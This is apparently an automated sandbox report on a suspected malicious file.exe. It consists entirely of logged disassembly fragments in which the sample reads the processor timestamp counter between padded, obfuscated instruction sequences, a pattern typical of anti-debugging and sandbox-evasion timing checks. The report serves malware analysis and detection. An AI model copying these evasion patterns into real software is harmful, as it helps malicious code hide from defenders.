                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9F351F second address: 9F3584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122DB8CBh], eax 0x00000010 push 00000000h 0x00000012 mov edi, 1D70859Bh 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007FE2B0E6B888h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 00000015h 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 pushad 0x00000034 sbb esi, 02432C1Fh 0x0000003a pushad 0x0000003b js 00007FE2B0E6B886h 0x00000041 mov ecx, dword ptr [ebp+122D397Ch] 0x00000047 popad 0x00000048 popad 0x00000049 push ebx 0x0000004a mov edi, 468F5EE4h 0x0000004f pop edi 0x00000050 xchg eax, esi 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007FE2B0E6B88Fh 0x00000058 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9F552B second address: 9F552F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9F552F second address: 9F5533 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9F469F second address: 9F46AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FE2B0E330D6h 0x0000000f rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9F46AE second address: 9F46B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9F46B2 second address: 9F473D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FE2B0E330DEh 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007FE2B0E330D8h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 movzx edi, di 0x0000002b push dword ptr fs:[00000000h] 0x00000032 push 00000000h 0x00000034 push ebp 0x00000035 call 00007FE2B0E330D8h 0x0000003a pop ebp 0x0000003b mov dword ptr [esp+04h], ebp 0x0000003f add dword ptr [esp+04h], 00000016h 0x00000047 inc ebp 0x00000048 push ebp 0x00000049 ret 0x0000004a pop ebp 0x0000004b ret 0x0000004c sub dword ptr [ebp+122D1912h], edx 0x00000052 mov dword ptr fs:[00000000h], esp 0x00000059 movzx edi, di 0x0000005c mov eax, dword ptr [ebp+122D100Dh] 0x00000062 stc 0x00000063 mov edi, dword ptr [ebp+122D3644h] 0x00000069 push FFFFFFFFh 0x0000006b mov dword ptr [ebp+122D341Dh], edx 0x00000071 nop 0x00000072 push eax 0x00000073 push edx 0x00000074 push esi 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9F473D second address: 9F4742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9F4742 second address: 9F4763 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE2B0E330DCh 0x00000008 jno 00007FE2B0E330D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 jng 00007FE2B0E330DCh 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9F5726 second address: 9F572B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9F572B second address: 9F5731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9F5731 second address: 9F5751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007FE2B0E6B88Eh 0x00000010 jns 00007FE2B0E6B886h 0x00000016 popad 0x00000017 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9F5751 second address: 9F5756 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9F6574 second address: 9F6598 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B897h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9F6598 second address: 9F663A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FE2B0E330DCh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c sub dword ptr [ebp+122D33DEh], ebx 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007FE2B0E330D8h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 0000001Ch 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 pushad 0x00000034 stc 0x00000035 mov dword ptr [ebp+122D33E4h], eax 0x0000003b popad 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 jmp 00007FE2B0E330DDh 0x00000048 mov eax, dword ptr [ebp+122D05E1h] 0x0000004e push 00000000h 0x00000050 push edi 0x00000051 call 00007FE2B0E330D8h 0x00000056 pop edi 0x00000057 mov dword ptr [esp+04h], edi 0x0000005b add dword ptr [esp+04h], 00000019h 0x00000063 inc edi 0x00000064 push edi 0x00000065 ret 0x00000066 pop edi 0x00000067 ret 0x00000068 jmp 00007FE2B0E330DBh 0x0000006d push FFFFFFFFh 0x0000006f mov ebx, dword ptr [ebp+122D29D5h] 0x00000075 nop 0x00000076 pushad 0x00000077 pushad 0x00000078 pushad 0x00000079 popad 0x0000007a push eax 0x0000007b push edx 0x0000007c rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9FFA21 second address: 9FFA39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FE2B0E6B890h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9FFB9E second address: 9FFBA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9FFBA7 second address: 9FFBBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E6B890h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9FFBBD second address: 9FFBD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9FFD42 second address: 9FFD48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9FFD48 second address: 9FFD4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9FFD4C second address: 9FFD5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B88Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9FFD5C second address: 9FFD6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A06AE0 second address: A06B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE2B0E6B898h 0x0000000f rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A06B02 second address: A06B2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jo 00007FE2B0E330D6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 jmp 00007FE2B0E330E4h 0x0000001a pop edi 0x0000001b rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A06BDE second address: A06BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A06BE3 second address: A06BEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FE2B0E330D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A06BEE second address: A06C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FE2B0E6B896h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jne 00007FE2B0E6B88Eh 0x00000017 mov eax, dword ptr [eax] 0x00000019 jmp 00007FE2B0E6B898h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 push ecx 0x00000026 pop ecx 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A06C44 second address: A06C49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A06DFE second address: A06E04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A06E04 second address: A06E3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE2B0E330E8h 0x00000013 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A06E3D second address: A06E47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FE2B0E6B886h 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A06E47 second address: A06E5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007FE2B0E330D6h 0x00000015 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A06E5C second address: A06E66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A06E66 second address: A06E6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A0AFC3 second address: A0AFC8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A0AFC8 second address: A0AFDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a jnp 00007FE2B0E330D6h 0x00000010 pop esi 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push esi 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A0B45D second address: A0B46B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE2B0E6B88Ah 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A0B5DE second address: A0B5E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A0B9D5 second address: A0B9D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A0B9D9 second address: A0B9F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE2B0E330E0h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A0BB41 second address: A0BB47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A11EDB second address: A11EEB instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE2B0E330D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A11EEB second address: A11EF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE2B0E6B886h 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A11EF5 second address: A11F26 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE2B0E330D6h 0x00000008 jg 00007FE2B0E330D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007FE2B0E330D6h 0x00000018 jmp 00007FE2B0E330E9h 0x0000001d rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DAD0C second address: 9DAD1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jp 00007FE2B0E6B898h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DAD1E second address: 9DAD22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DAD22 second address: 9DAD26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DAD26 second address: 9DAD5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov edx, dword ptr [ebp+122D36DCh] 0x0000000d lea eax, dword ptr [ebp+12488A84h] 0x00000013 movsx edx, cx 0x00000016 nop 0x00000017 pushad 0x00000018 jmp 00007FE2B0E330E9h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DB2CB second address: 9DB2CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DB385 second address: 9DB389 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DB389 second address: 9DB38F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DB38F second address: 9DB39E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DB39E second address: 9DB3A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DB3A2 second address: 9DB403 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE2B0E330DFh 0x0000000b popad 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 js 00007FE2B0E330EFh 0x00000016 pop eax 0x00000017 stc 0x00000018 call 00007FE2B0E330D9h 0x0000001d jg 00007FE2B0E330E7h 0x00000023 jmp 00007FE2B0E330E1h 0x00000028 push eax 0x00000029 push esi 0x0000002a push eax 0x0000002b push edx 0x0000002c push esi 0x0000002d pop esi 0x0000002e rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DB403 second address: 9DB407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DB407 second address: 9DB421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jnl 00007FE2B0E330E4h 0x00000011 pushad 0x00000012 jns 00007FE2B0E330D6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DB57F second address: 9DB5C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B890h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a xchg eax, esi 0x0000000b mov dword ptr [ebp+122D3253h], eax 0x00000011 push eax 0x00000012 pushad 0x00000013 jmp 00007FE2B0E6B897h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FE2B0E6B892h 0x0000001f rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DB6A9 second address: 9DB6D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d jnl 00007FE2B0E330D8h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE2B0E330E9h 0x0000001a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DBEE7 second address: 9DBEF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE2B0E6B886h 0x0000000a popad 0x0000000b rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DBEF2 second address: 9DBF12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DC1FA second address: 9DC1FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A10FB9 second address: A10FCD instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE2B0E330D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e ja 00007FE2B0E330D6h 0x00000014 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A10FCD second address: A10FD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A111BC second address: A111C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A111C4 second address: A111DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE2B0E6B891h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A111DE second address: A11241 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE2B0E330D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c js 00007FE2B0E330F1h 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FE2B0E330E9h 0x00000019 pushad 0x0000001a jng 00007FE2B0E330D6h 0x00000020 jmp 00007FE2B0E330E7h 0x00000025 popad 0x00000026 push ebx 0x00000027 jmp 00007FE2B0E330E0h 0x0000002c pushad 0x0000002d popad 0x0000002e pop ebx 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A114F0 second address: A114FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A114FB second address: A114FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A114FF second address: A11505 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A11670 second address: A11676 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A11676 second address: A1167C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A1167C second address: A11680 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A11680 second address: A1169E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE2B0E6B890h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FE2B0E6B886h 0x00000013 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A1169E second address: A116CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330DAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jno 00007FE2B0E330D6h 0x00000016 js 00007FE2B0E330D6h 0x0000001c popad 0x0000001d jne 00007FE2B0E330DAh 0x00000023 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A14CFE second address: A14D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A14D02 second address: A14D0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A14D0C second address: A14D12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A14D12 second address: A14D16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A14D16 second address: A14D2F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007FE2B0E6B886h 0x0000000d je 00007FE2B0E6B886h 0x00000013 popad 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A14D2F second address: A14D35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A1825C second address: A18260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A18260 second address: A18279 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E3h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
